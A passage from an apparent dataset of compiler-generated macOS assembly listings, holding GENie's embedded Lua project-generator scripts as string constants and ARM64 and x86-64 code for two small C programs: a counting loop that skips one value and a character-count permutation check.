1\nend\nend\n_p(3, '<value type=\"int\" key=\"ProjectExplorer.Target.RunConfigurationCount\">%d</value>', idx)\n_p(2, '</valuemap>')\n_p(1, '</data>')\n_p(1, '<data>')\n_p(2, '<variable>ProjectExplorer.Project.TargetCount</variable>')\n_p(2, '<value type=\"int\">1</value>')\n_p(1, '</data>')\n_p(1, '<data>')\n_p(2, '<variable>Version</variable>')\n_p(2, '<value type=\"int\">18</value>')\n_p(1, '</data>')\n_p(0, '</qtcreator>')\nend\n"
L_.str.69: ## @.str.69
.asciz "local qbs = premake.qbs\nlocal function is_excluded(prj, cfg, file)\nif table.icontains(prj.excludes, file) then\nreturn true\nend\nif table.icontains(cfg.excludes, file) then\nreturn true\nend\nreturn false\nend\nfunction qbs.generate_project(prj)\nlocal indent = 0\n_p(indent, '/*')\n_p(indent, ' * QBS project file autogenerated by GENie')\n_p(indent, ' * https://github.com/bkaradzic/GENie')\n_p(indent, ' */')\n_p(indent, '')\n_p(indent, 'import qbs 1.0')\n_p(indent, '')\nif prj.kind == \"ConsoleApp\" then\n_p(indent, 'CppApplication {')\n_p(indent + 1, 'consoleApplication: true')\nelseif prj.kind == \"WindowedApp\" then\n_p(indent, 'CppApplication {')\n_p(indent + 1, 'consoleApplication: false')\nelseif prj.kind == \"StaticLib\" then\n_p(indent, 'StaticLibrary {')\nelseif prj.kind == \"SharedLib\" then\n_p(indent, 'DynamicLibrary {')\nend\nindent = indent + 1\n_p(indent, 'name: \"' .. prj.name .. '\"')\n_p(indent, 'Depends { name: \"cpp\" }')\nlocal deps = premake.getdependencies(prj)\nif #deps > 0 then\nfor _, depprj in ipairs(deps) do\n_p(indent, 'Depends { name: \"%s\" }', depprj.name)\nend\nend\nlocal cc = premake.gettool(prj)\nlocal platforms = premake.filterplatforms(prj.solution, cc.platforms, \"Native\")\nfor _, platform in ipairs(platforms) do\nfor cfg in premake.eachconfig(prj, platform) do\nif cfg.platform ~= \"Native\" then\n_p('');\n_p(indent, 'Properties { /* %s */', premake.getconfigname(cfg.name, cfg.platform, true))\nindent = indent + 1\nlocal arch = \"\"\nlocal linkerFlags = cfg.linkoptions\nif cfg.platform == \"x32\" then\narch = '&& qbs.architecture == \"x86\"'\nelseif cfg.platform == \"x64\" then\narch = '&& qbs.architecture == \"x86_64\"'\nend\nif cfg.name == \"Debug\" then\n_p(indent, 'condition: qbs.buildVariant == \"debug\" %s', arch)\nelse\n_p(indent, 'condition: qbs.buildVariant == \"release\" %s', arch)\nend\n_p(indent, 'targetName: \"%s\"', cfg.buildtarget.basename)\n_p(indent, 'destinationDirectory: \"%s\"', path.getabsolute('projects/qbs/' .. cfg.buildtarget.directory) .. '/')\nif cfg.flags.Cpp11 then\n_p(indent, 'cpp.cxxLanguageVersion: \"c++11\"')\nelseif cfg.flags.Cpp14 then\n_p(indent, 'cpp.cxxLanguageVersion: \"c++14\"')\nelseif cfg.flags.Cpp17 then\n_p(indent, 'cpp.cxxLanguageVersion: \"c++17\"')\nelse\n_p(indent, 'cpp.cxxLanguageVersion: \"c++98\"')\nend\nif os.is(\"windows\") then\nif not cfg.flags.WinMain and (cfg.kind == 'ConsoleApp' or cfg.kind == 'WindowedApp') then\nif cfg.flags.Unicode then\n_p(indent, 'cpp.entryPoint: \"wmainCRTStartup\"')\nelse\n_p(indent, 'cpp.entryPoint: \"mainCRTStartup\"')\nend\nend\nend\nqbs.list(\n indent\n, \"cpp.commonCompilerFlags\"\n, cfg.buildoptions\n)\nqbs.list(\n indent\n, \"cpp.cFlags\"\n, cfg.buildoptions_c\n)\nqbs.list(\n indent\n, \"cpp.cxxFlags\"\n, cfg.buildoptions_cpp\n)\nqbs.list(\n indent\n, \"cpp.objcFlags\"\n, cfg.buildoptions_objc\n)\nqbs.list(\n indent\n, \"cpp.objcxxFlags\"\n, cfg.buildoptions_objc\n)\nif cfg.flags.StaticRuntime then\n_p(indent, 'cpp.runtimeLibrary: \"static\"')\nelse\n_p(indent, 'cpp.runtimeLibrary: \"dynamic\"')\nend\nif cfg.flags.PedanticWarnings\nor cfg.flags.ExtraWarnings\nthen\n_p(indent, 'cpp.warningLevel: \"all\"')\nelse\n_p(indent, 'cpp.warningLevel: \"default\"')\nend\nif cfg.flags.FatalWarnings then\n_p(indent, 'cpp.treatWarningsAsErrors: true')\nelse\n_p(indent, 'cpp.treatWarningsAsErrors: false')\nend\nif cfg.flags.NoRTTI then\n_p(indent, 'cpp.enableRtti: false')\nelse\n_p(indent, 'cpp.enableRtti: true')\nend\nif cfg.flags.NoExceptions then\n_p(indent, 'cpp.enableExceptions: false')\nelse\n_p(indent, 'cpp.enableExceptions: true')\nend\nif cfg.flags.Symbols then\n_p(indent, 'cpp.debugInformation: true')\nelse\n_p(indent, 'cpp.debugInformation: false')\nend\nif cfg.flags.Unicode then\n_p(indent, 'cpp.windowsApiCharacterSet: \"unicode\"')\nelse\n_p(indent, 'cpp.windowsApiCharacterSet: \"\"')\nend\nif not cfg.pchheader or cfg.flags.NoPCH then\n_p(indent, 'cpp.usePrecompiledHeader: false')\nelse\n_p(indent, 'cpp.usePrecompiledHeader: true')\n_p(indent, 'Group {')\n_p(indent+1, 'name: \"PCH\"')\n_p(indent+1, 'files: [\"' .. cfg.pchheader .. '\"]')\n_p(indent+1, 'fileTags: [\"cpp_pch_src\"]')\n_p(indent, '}')\nend\nfor _, value in ipairs(cfg.flags) do\nif (value == \"Optimize\") then\nelseif (value == \"OptimizeSize\") then\n_p(indent, 'cpp.optimization: \"small\"')\nelseif (value == \"OptimizeSpeed\") then\n_p(indent, 'cpp.optimization: \"fast\"')\nend\nend\nqbs.list(\n indent\n, \"cpp.defines\"\n, cfg.defines\n)\nlocal sortedincdirs = table.join(cfg.userincludedirs, cfg.includedirs, cfg.systemincludedirs)\ntable.sort(sortedincdirs, includesort)\nqbs.list(\n indent\n, \"cpp.includePaths\"\n, sortedincdirs\n)\nqbs.list(\n indent\n, \"cpp.staticLibraries\"\n, premake.getlinks(cfg, \"system\", \"fullpath\")\n)\nqbs.list(\n indent\n, \"cpp.libraryPaths\"\n, cfg.libdirs\n)\nqbs.list(\n indent\n, \"cpp.linkerFlags\"\n, linkerFlags\n)\ntable.sort(prj.files)\nif #prj.files > 0 then\n_p(indent, 'files: [')\nfor _, file in ipairs(prj.files) do\nif path.iscfile(file)\nor path.iscppfile(file)\nor path.isobjcfile(file)\nor path.isresourcefile(file)\nor path.iscppheader(file) then\nif not is_excluded(prj, cfg, file) then\n_p(indent+1, '\"%s\",', file)\nend\nend\nend\n_p(indent+1, ']')\nend\nif #prj.excludes > 0 then\n_p(indent, 'excludeFiles: [')\ntable.sort(prj.excludes)\nfor _, file in ipairs(prj.excludes) do\nif path.issourcefile(file) then\n_p(indent+1, '\"%s\",', file)\nend\nend\n_p(indent+1, ']')\nend\nindent = indent - 1\n_p(indent, '}');\nend\nend\nend\nindent = indent - 1\n_p(indent, '}')\nend\n"
L_.str.70: ## @.str.70
.asciz "_WORKING_DIR = os.getcwd()\nlocal function injectplatform(platform)\nif not platform then return true end\nplatform = premake.checkvalue(platform, premake.fields.platforms.allowed)\nfor sln in premake.solution.each() do\nlocal platforms = sln.platforms or { }\nif #platforms == 0 then\ntable.insert(platforms, \"Native\")\nend\nif not table.contains(platforms, \"Native\") then\nreturn false, sln.name .. \" does not target native platform\\nNative platform settings are required for the --platform feature.\"\nend\nif not table.contains(platforms, platform) then\ntable.insert(platforms, platform)\nend\nsln.platforms = platforms\nend\nreturn true\nend\nfunction _premake_main(scriptpath)\nif (scriptpath) then\nlocal scripts = dofile(scriptpath .. \"/_manifest.lua\")\nfor _,v in ipairs(scripts) do\ndofile(scriptpath .. \"/\" .. v)\nend\nend\nlocal profiler = newProfiler()\nif (nil ~= _OPTIONS[\"debug-profiler\"]) then\nprofiler:start()\nend\n_PREMAKE_COMMAND = path.getabsolute(_PREMAKE_COMMAND)\npremake.action.set(_ACTION)\nmath.randomseed(os.time())\nif (nil ~= _OPTIONS[\"file\"]) then\nlocal fname = _OPTIONS[\"file\"]\nif (os.isfile(fname)) then\ndofile(fname)\nelse\nerror(\"No genie script '\" .. fname .. \"' found!\", 2)\nend\nelse\nlocal dir, name = premake.findDefaultScript(path.getabsolute(\"./\"))\nif dir ~= nil then\nlocal cwd = os.getcwd()\nos.chdir(dir)\ndofile(name)\nos.chdir(cwd)\nend\nend\nif (_OPTIONS[\"version\"] or _OPTIONS[\"help\"] or not _ACTION) then\nprintf(\"GENie - Project generator tool %s\", _GENIE_VERSION_STR)\nprintf(\"https://github.com/bkaradzic/GENie\")\nif (not _OPTIONS[\"version\"]) then\npremake.showhelp()\nend\nreturn 1\nend\naction = premake.action.current()\nif (not action) then\nerror(\"Error: no such action '\" .. _ACTION .. \"'\", 0)\nend\nok, err = premake.option.validate(_OPTIONS)\nif (not ok) then error(\"Error: \" .. err, 0) end\nok, err = premake.checktools()\nif (not ok) then error(\"Error: \" .. err, 0) end\nok, err = injectplatform(_OPTIONS[\"platform\"])\nif (not ok) then error(\"Error: \" .. err, 0) end\nprint(\"Building configurations...\")\npremake.bake.buildconfigs()\nok, err = premake.checkprojects()\nif (not ok) then error(\"Error: \" .. err, 0) end\npremake.stats = { }\npremake.stats.num_generated = 0\npremake.stats.num_skipped = 0\nprintf(\"Running action '%s'...\", action.trigger)\npremake.action.call(action.trigger)\nif (nil ~= _OPTIONS[\"debug-profiler\"]) then\nprofiler:stop()\nlocal filePath = path.getabsolute(\"GENie-profile.txt\")\nprint(\"Writing debug-profile report to ''\" .. filePath .. \"'.\")\nlocal outfile = io.open(filePath, \"w+\")\nprofiler:report(outfile, true)\noutfile:close()\nend\nprintf(\"Done. Generated %d/%d projects.\"\n, premake.stats.num_generated\n, premake.stats.num_generated+premake.stats.num_skipped\n)\nreturn 0\nend\n"
.section __DATA,__data
.globl _builtin_scripts ## @builtin_scripts
.p2align 4
_builtin_scripts:
.quad L_.str
.quad L_.str.1
.quad L_.str.2
.quad L_.str.3
.quad L_.str.4
.quad L_.str.5
.quad L_.str.6
.quad L_.str.7
.quad L_.str.8
.quad L_.str.9
.quad L_.str.10
.quad L_.str.11
.quad L_.str.12
.quad L_.str.13
.quad L_.str.14
.quad L_.str.15
.quad L_.str.16
.quad L_.str.17
.quad L_.str.18
.quad L_.str.19
.quad L_.str.20
.quad L_.str.21
.quad L_.str.22
.quad L_.str.23
.quad L_.str.24
.quad L_.str.25
.quad L_.str.26
.quad L_.str.27
.quad L_.str.28
.quad L_.str.29
.quad L_.str.30
.quad L_.str.31
.quad L_.str.32
.quad L_.str.33
.quad L_.str.34
.quad L_.str.35
.quad L_.str.36
.quad L_.str.37
.quad L_.str.38
.quad L_.str.39
.quad L_.str.40
.quad L_.str.41
.quad L_.str.42
.quad L_.str.43
.quad L_.str.44
.quad L_.str.45
.quad L_.str.46
.quad L_.str.47
.quad L_.str.48
.quad L_.str.49
.quad L_.str.50
.quad L_.str.51
.quad L_.str.52
.quad L_.str.53
.quad L_.str.54
.quad L_.str.55
.quad L_.str.56
.quad L_.str.57
.quad L_.str.58
.quad L_.str.59
.quad L_.str.60
.quad L_.str.61
.quad L_.str.62
.quad L_.str.63
.quad L_.str.64
.quad L_.str.65
.quad L_.str.66
.quad L_.str.67
.quad L_.str.68
.quad L_.str.69
.quad L_.str.70
.quad 0
.subsections_via_symbols
| the_stack_data/45450472.c |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _main ; -- Begin function main
.p2align 2
_main: ; @main
.cfi_startproc
; %bb.0:
sub sp, sp, #32
.cfi_def_cfa_offset 32
stp x29, x30, [sp, #16] ; 16-byte Folded Spill
add x29, sp, #16
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
stur wzr, [x29, #-4]
mov w8, #10
str w8, [sp, #8]
b LBB0_1
LBB0_1: ; =>This Inner Loop Header: Depth=1
ldr w8, [sp, #8]
subs w8, w8, #15
cset w8, ne
tbnz w8, #0, LBB0_3
b LBB0_2
LBB0_2: ; in Loop: Header=BB0_1 Depth=1
ldr w8, [sp, #8]
add w8, w8, #1
str w8, [sp, #8]
b LBB0_4
LBB0_3: ; in Loop: Header=BB0_1 Depth=1
ldr w9, [sp, #8]
; implicit-def: $x8
mov x8, x9
mov x9, sp
str x8, [x9]
adrp x0, l_.str@PAGE
add x0, x0, l_.str@PAGEOFF
bl _printf
ldr w8, [sp, #8]
add w8, w8, #1
str w8, [sp, #8]
b LBB0_4
LBB0_4: ; in Loop: Header=BB0_1 Depth=1
ldr w8, [sp, #8]
subs w8, w8, #20
cset w8, lt
tbnz w8, #0, LBB0_1
b LBB0_5
LBB0_5:
mov w0, #0
ldp x29, x30, [sp, #16] ; 16-byte Folded Reload
add sp, sp, #32
ret
.cfi_endproc
; -- End function
.section __TEXT,__cstring,cstring_literals
l_.str: ; @.str
.asciz "a \347\232\204\345\200\274\357\274\232%d\n"
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _main ## -- Begin function main
.p2align 4, 0x90
_main: ## @main
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $16, %rsp
movl $0, -4(%rbp)
movl $10, -8(%rbp)
LBB0_1: ## =>This Inner Loop Header: Depth=1
cmpl $15, -8(%rbp)
jne LBB0_3
## %bb.2: ## in Loop: Header=BB0_1 Depth=1
movl -8(%rbp), %eax
addl $1, %eax
movl %eax, -8(%rbp)
jmp LBB0_4
LBB0_3: ## in Loop: Header=BB0_1 Depth=1
movl -8(%rbp), %esi
leaq L_.str(%rip), %rdi
movb $0, %al
callq _printf
movl -8(%rbp), %eax
addl $1, %eax
movl %eax, -8(%rbp)
LBB0_4: ## in Loop: Header=BB0_1 Depth=1
cmpl $20, -8(%rbp)
jl LBB0_1
## %bb.5:
xorl %eax, %eax
addq $16, %rsp
popq %rbp
retq
.cfi_endproc
## -- End function
.section __TEXT,__cstring,cstring_literals
L_.str: ## @.str
.asciz "a \347\232\204\345\200\274\357\274\232%d\n"
.subsections_via_symbols
| the_stack_data/107954328.c |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _length ; -- Begin function length
.p2align 2
_length: ; @length
.cfi_startproc
; %bb.0:
sub sp, sp, #16
.cfi_def_cfa_offset 16
str x0, [sp, #8]
str wzr, [sp, #4]
b LBB0_1
LBB0_1: ; =>This Inner Loop Header: Depth=1
ldr x8, [sp, #8]
add x9, x8, #1
str x9, [sp, #8]
ldrb w8, [x8]
subs w8, w8, #0
cset w8, eq
tbnz w8, #0, LBB0_3
b LBB0_2
LBB0_2: ; in Loop: Header=BB0_1 Depth=1
ldr w8, [sp, #4]
add w8, w8, #1
str w8, [sp, #4]
b LBB0_1
LBB0_3:
ldr w0, [sp, #4]
add sp, sp, #16
ret
.cfi_endproc
; -- End function
.globl _checkDictionaries ; -- Begin function checkDictionaries
.p2align 2
_checkDictionaries: ; @checkDictionaries
.cfi_startproc
; %bb.0:
sub sp, sp, #32
.cfi_def_cfa_offset 32
str x0, [sp, #16]
str x1, [sp, #8]
str wzr, [sp, #4]
b LBB1_1
LBB1_1: ; =>This Inner Loop Header: Depth=1
ldr w8, [sp, #4]
subs w8, w8, #256
cset w8, ge
tbnz w8, #0, LBB1_6
b LBB1_2
LBB1_2: ; in Loop: Header=BB1_1 Depth=1
ldr x8, [sp, #16]
ldrsw x9, [sp, #4]
ldr w8, [x8, x9, lsl #2]
ldr x9, [sp, #8]
ldrsw x10, [sp, #4]
ldr w9, [x9, x10, lsl #2]
subs w8, w8, w9
cset w8, eq
tbnz w8, #0, LBB1_4
b LBB1_3
LBB1_3:
adrp x8, l_.str@PAGE
add x8, x8, l_.str@PAGEOFF
str x8, [sp, #24]
b LBB1_7
LBB1_4: ; in Loop: Header=BB1_1 Depth=1
b LBB1_5
LBB1_5: ; in Loop: Header=BB1_1 Depth=1
ldr w8, [sp, #4]
add w8, w8, #1
str w8, [sp, #4]
b LBB1_1
LBB1_6:
adrp x8, l_.str.1@PAGE
add x8, x8, l_.str.1@PAGEOFF
str x8, [sp, #24]
b LBB1_7
LBB1_7:
ldr x0, [sp, #24]
add sp, sp, #32
ret
.cfi_endproc
; -- End function
.globl _permuationDicitonary ; -- Begin function permuationDicitonary
.p2align 2
_permuationDicitonary: ; @permuationDicitonary
.cfi_startproc
; %bb.0:
stp x29, x30, [sp, #-16]! ; 16-byte Folded Spill
.cfi_def_cfa_offset 16
mov x29, sp
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
sub sp, sp, #128
adrp x8, ___stack_chk_guard@GOTPAGE
ldr x8, [x8, ___stack_chk_guard@GOTPAGEOFF]
ldr x8, [x8]
stur x8, [x29, #-8]
stur x0, [x29, #-24]
stur x1, [x29, #-32]
ldur x0, [x29, #-24]
bl _length
stur w0, [x29, #-36]
ldur w8, [x29, #-36]
stur w8, [x29, #-76] ; 4-byte Folded Spill
ldur x0, [x29, #-32]
bl _length
ldur w8, [x29, #-76] ; 4-byte Folded Reload
subs w8, w8, w0
cset w8, eq
tbnz w8, #0, LBB2_2
b LBB2_1
LBB2_1:
adrp x8, l_.str@PAGE
add x8, x8, l_.str@PAGEOFF
stur x8, [x29, #-16]
b LBB2_11
LBB2_2:
mov w8, #256
stur w8, [x29, #-40]
ldur w8, [x29, #-40]
; kill: def $x8 killed $w8
mov x9, sp
stur x9, [x29, #-48]
lsl x9, x8, #2
add x9, x9, #15
and x9, x9, #0xfffffffffffffff0
stur x9, [x29, #-112] ; 8-byte Folded Spill
adrp x16, ___chkstk_darwin@GOTPAGE
ldr x16, [x16, ___chkstk_darwin@GOTPAGEOFF]
blr x16
ldur x10, [x29, #-112] ; 8-byte Folded Reload
mov x9, sp
subs x9, x9, x10
mov sp, x9
stur x9, [x29, #-104] ; 8-byte Folded Spill
stur x8, [x29, #-56]
ldur w8, [x29, #-40]
; kill: def $x8 killed $w8
lsl x9, x8, #2
add x9, x9, #15
and x9, x9, #0xfffffffffffffff0
stur x9, [x29, #-96] ; 8-byte Folded Spill
adrp x16, ___chkstk_darwin@GOTPAGE
ldr x16, [x16, ___chkstk_darwin@GOTPAGEOFF]
blr x16
ldur x10, [x29, #-96] ; 8-byte Folded Reload
mov x9, sp
subs x9, x9, x10
mov sp, x9
stur x9, [x29, #-88] ; 8-byte Folded Spill
stur x8, [x29, #-64]
stur wzr, [x29, #-68]
b LBB2_3
LBB2_3: ; =>This Inner Loop Header: Depth=1
ldur w8, [x29, #-68]
ldur w9, [x29, #-40]
subs w8, w8, w9
cset w8, ge
tbnz w8, #0, LBB2_6
b LBB2_4
LBB2_4: ; in Loop: Header=BB2_3 Depth=1
ldur x9, [x29, #-88] ; 8-byte Folded Reload
ldur x10, [x29, #-104] ; 8-byte Folded Reload
ldursw x11, [x29, #-68]
mov w8, #0
str w8, [x10, x11, lsl #2]
ldursw x10, [x29, #-68]
str w8, [x9, x10, lsl #2]
b LBB2_5
LBB2_5: ; in Loop: Header=BB2_3 Depth=1
ldur w8, [x29, #-68]
add w8, w8, #1
stur w8, [x29, #-68]
b LBB2_3
LBB2_6:
stur wzr, [x29, #-72]
b LBB2_7
LBB2_7: ; =>This Inner Loop Header: Depth=1
ldur w8, [x29, #-72]
ldur w9, [x29, #-36]
subs w8, w8, w9
cset w8, ge
tbnz w8, #0, LBB2_10
b LBB2_8
LBB2_8: ; in Loop: Header=BB2_7 Depth=1
ldur x8, [x29, #-88] ; 8-byte Folded Reload
ldur x9, [x29, #-104] ; 8-byte Folded Reload
ldur x10, [x29, #-24]
ldursw x11, [x29, #-72]
ldrsb x10, [x10, x11]
add x10, x9, x10, lsl #2
ldr w9, [x10]
add w9, w9, #1
str w9, [x10]
ldur x9, [x29, #-32]
ldursw x10, [x29, #-72]
ldrsb x9, [x9, x10]
add x9, x8, x9, lsl #2
ldr w8, [x9]
add w8, w8, #1
str w8, [x9]
b LBB2_9
LBB2_9: ; in Loop: Header=BB2_7 Depth=1
ldur w8, [x29, #-72]
add w8, w8, #1
stur w8, [x29, #-72]
b LBB2_7
LBB2_10:
ldur x1, [x29, #-88] ; 8-byte Folded Reload
ldur x0, [x29, #-104] ; 8-byte Folded Reload
bl _checkDictionaries
stur x0, [x29, #-16]
ldur x8, [x29, #-48]
mov sp, x8
b LBB2_11
LBB2_11:
ldur x8, [x29, #-16]
stur x8, [x29, #-120] ; 8-byte Folded Spill
ldur x9, [x29, #-8]
adrp x8, ___stack_chk_guard@GOTPAGE
ldr x8, [x8, ___stack_chk_guard@GOTPAGEOFF]
ldr x8, [x8]
subs x8, x8, x9
cset w8, eq
tbnz w8, #0, LBB2_13
b LBB2_12
LBB2_12:
bl ___stack_chk_fail
LBB2_13:
ldur x0, [x29, #-120] ; 8-byte Folded Reload
mov sp, x29
ldp x29, x30, [sp], #16 ; 16-byte Folded Reload
ret
.cfi_endproc
; -- End function
.globl _main ; -- Begin function main
.p2align 2
_main: ; @main
.cfi_startproc
; %bb.0:
sub sp, sp, #128
.cfi_def_cfa_offset 128
stp x29, x30, [sp, #112] ; 16-byte Folded Spill
add x29, sp, #112
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
adrp x8, l_.str.2@PAGE
add x8, x8, l_.str.2@PAGEOFF
stur x8, [x29, #-8]
adrp x8, l_.str.3@PAGE
add x8, x8, l_.str.3@PAGEOFF
stur x8, [x29, #-16]
adrp x8, l_.str.4@PAGE
add x8, x8, l_.str.4@PAGEOFF
stur x8, [x29, #-24]
adrp x0, l_.str.5@PAGE
add x0, x0, l_.str.5@PAGEOFF
bl _printf
ldur x8, [x29, #-8]
str x8, [sp, #32] ; 8-byte Folded Spill
ldur x8, [x29, #-16]
str x8, [sp, #40] ; 8-byte Folded Spill
ldur x0, [x29, #-8]
ldur x1, [x29, #-16]
bl _permuationDicitonary
ldr x10, [sp, #32] ; 8-byte Folded Reload
ldr x9, [sp, #40] ; 8-byte Folded Reload
mov x8, sp
str x10, [x8]
str x9, [x8, #8]
str x0, [x8, #16]
adrp x0, l_.str.6@PAGE
add x0, x0, l_.str.6@PAGEOFF
stur x0, [x29, #-32] ; 8-byte Folded Spill
bl _printf
ldur x8, [x29, #-8]
str x8, [sp, #48] ; 8-byte Folded Spill
ldur x8, [x29, #-24]
str x8, [sp, #56] ; 8-byte Folded Spill
ldur x0, [x29, #-8]
ldur x1, [x29, #-24]
bl _permuationDicitonary
ldr x11, [sp, #48] ; 8-byte Folded Reload
ldr x10, [sp, #56] ; 8-byte Folded Reload
mov x8, x0
ldur x0, [x29, #-32] ; 8-byte Folded Reload
mov x9, sp
str x11, [x9]
str x10, [x9, #8]
str x8, [x9, #16]
bl _printf
ldur x8, [x29, #-16]
stur x8, [x29, #-48] ; 8-byte Folded Spill
ldur x8, [x29, #-24]
stur x8, [x29, #-40] ; 8-byte Folded Spill
ldur x0, [x29, #-16]
ldur x1, [x29, #-24]
bl _permuationDicitonary
ldur x11, [x29, #-48] ; 8-byte Folded Reload
ldur x10, [x29, #-40] ; 8-byte Folded Reload
mov x8, x0
ldur x0, [x29, #-32] ; 8-byte Folded Reload
mov x9, sp
str x11, [x9]
str x10, [x9, #8]
str x8, [x9, #16]
bl _printf
mov w0, #0
ldp x29, x30, [sp, #112] ; 16-byte Folded Reload
add sp, sp, #128
ret
.cfi_endproc
; -- End function
.section __TEXT,__cstring,cstring_literals
l_.str: ; @.str
.asciz "false"
l_.str.1: ; @.str.1
.asciz "true"
l_.str.2: ; @.str.2
.asciz "The eyes"
l_.str.3: ; @.str.3
.asciz "They see"
l_.str.4: ; @.str.4
.asciz "dac"
l_.str.5: ; @.str.5
.asciz "Permutation dictionary method:\n"
l_.str.6: ; @.str.6
.asciz "%s matches %s: %s\n"
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _length ## -- Begin function length
.p2align 4, 0x90
_length: ## @length
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
movq %rdi, -8(%rbp)
movl $0, -12(%rbp)
LBB0_1: ## =>This Inner Loop Header: Depth=1
movq -8(%rbp), %rax
movq %rax, %rcx
addq $1, %rcx
movq %rcx, -8(%rbp)
cmpb $0, (%rax)
je LBB0_3
## %bb.2: ## in Loop: Header=BB0_1 Depth=1
movl -12(%rbp), %eax
addl $1, %eax
movl %eax, -12(%rbp)
jmp LBB0_1
LBB0_3:
movl -12(%rbp), %eax
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _checkDictionaries ## -- Begin function checkDictionaries
.p2align 4, 0x90
_checkDictionaries: ## @checkDictionaries
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
movq %rdi, -16(%rbp)
movq %rsi, -24(%rbp)
movl $0, -28(%rbp)
LBB1_1: ## =>This Inner Loop Header: Depth=1
cmpl $256, -28(%rbp) ## imm = 0x100
jge LBB1_6
## %bb.2: ## in Loop: Header=BB1_1 Depth=1
movq -16(%rbp), %rax
movslq -28(%rbp), %rcx
movl (%rax,%rcx,4), %eax
movq -24(%rbp), %rcx
movslq -28(%rbp), %rdx
cmpl (%rcx,%rdx,4), %eax
je LBB1_4
## %bb.3:
leaq L_.str(%rip), %rax
movq %rax, -8(%rbp)
jmp LBB1_7
LBB1_4: ## in Loop: Header=BB1_1 Depth=1
jmp LBB1_5
LBB1_5: ## in Loop: Header=BB1_1 Depth=1
movl -28(%rbp), %eax
addl $1, %eax
movl %eax, -28(%rbp)
jmp LBB1_1
LBB1_6:
leaq L_.str.1(%rip), %rax
movq %rax, -8(%rbp)
LBB1_7:
movq -8(%rbp), %rax
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _permuationDicitonary ## -- Begin function permuationDicitonary
.p2align 4, 0x90
_permuationDicitonary: ## @permuationDicitonary
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $128, %rsp
movq ___stack_chk_guard@GOTPCREL(%rip), %rax
movq (%rax), %rax
movq %rax, -8(%rbp)
movq %rdi, -24(%rbp)
movq %rsi, -32(%rbp)
movq -24(%rbp), %rdi
callq _length
movl %eax, -36(%rbp)
movl -36(%rbp), %eax
movl %eax, -76(%rbp) ## 4-byte Spill
movq -32(%rbp), %rdi
callq _length
movl %eax, %ecx
movl -76(%rbp), %eax ## 4-byte Reload
cmpl %ecx, %eax
je LBB2_2
## %bb.1:
leaq L_.str(%rip), %rax
movq %rax, -16(%rbp)
jmp LBB2_11
LBB2_2:
movl $256, -40(%rbp) ## imm = 0x100
movl -40(%rbp), %eax
## kill: def $rax killed $eax
movq %rax, -112(%rbp) ## 8-byte Spill
movq %rsp, %rcx
movq %rcx, -48(%rbp)
shlq $2, %rax
callq ____chkstk_darwin
addq $15, %rax
andq $-16, %rax
subq %rax, %rsp
movq -112(%rbp), %rax ## 8-byte Reload
movq %rsp, %rcx
movq %rcx, -104(%rbp) ## 8-byte Spill
movq %rax, -56(%rbp)
movl -40(%rbp), %eax
## kill: def $rax killed $eax
movq %rax, -96(%rbp) ## 8-byte Spill
shlq $2, %rax
callq ____chkstk_darwin
addq $15, %rax
andq $-16, %rax
subq %rax, %rsp
movq -96(%rbp), %rax ## 8-byte Reload
movq %rsp, %rcx
movq %rcx, -88(%rbp) ## 8-byte Spill
movq %rax, -64(%rbp)
movl $0, -68(%rbp)
LBB2_3: ## =>This Inner Loop Header: Depth=1
movl -68(%rbp), %eax
cmpl -40(%rbp), %eax
jge LBB2_6
## %bb.4: ## in Loop: Header=BB2_3 Depth=1
movq -88(%rbp), %rax ## 8-byte Reload
movq -104(%rbp), %rcx ## 8-byte Reload
movslq -68(%rbp), %rdx
movl $0, (%rcx,%rdx,4)
movslq -68(%rbp), %rcx
movl $0, (%rax,%rcx,4)
## %bb.5: ## in Loop: Header=BB2_3 Depth=1
movl -68(%rbp), %eax
addl $1, %eax
movl %eax, -68(%rbp)
jmp LBB2_3
LBB2_6:
movl $0, -72(%rbp)
LBB2_7: ## =>This Inner Loop Header: Depth=1
movl -72(%rbp), %eax
cmpl -36(%rbp), %eax
jge LBB2_10
## %bb.8: ## in Loop: Header=BB2_7 Depth=1
movq -88(%rbp), %rax ## 8-byte Reload
movq -104(%rbp), %rcx ## 8-byte Reload
movq -24(%rbp), %rdx
movslq -72(%rbp), %rsi
movsbq (%rdx,%rsi), %rdx
movl (%rcx,%rdx,4), %esi
addl $1, %esi
movl %esi, (%rcx,%rdx,4)
movq -32(%rbp), %rcx
movslq -72(%rbp), %rdx
movsbq (%rcx,%rdx), %rcx
movl (%rax,%rcx,4), %edx
addl $1, %edx
movl %edx, (%rax,%rcx,4)
## %bb.9: ## in Loop: Header=BB2_7 Depth=1
movl -72(%rbp), %eax
addl $1, %eax
movl %eax, -72(%rbp)
jmp LBB2_7
LBB2_10:
movq -88(%rbp), %rsi ## 8-byte Reload
movq -104(%rbp), %rdi ## 8-byte Reload
callq _checkDictionaries
movq %rax, -16(%rbp)
movq -48(%rbp), %rax
movq %rax, %rsp
LBB2_11:
movq -16(%rbp), %rax
movq %rax, -120(%rbp) ## 8-byte Spill
movq ___stack_chk_guard@GOTPCREL(%rip), %rax
movq (%rax), %rax
movq -8(%rbp), %rcx
cmpq %rcx, %rax
jne LBB2_13
## %bb.12:
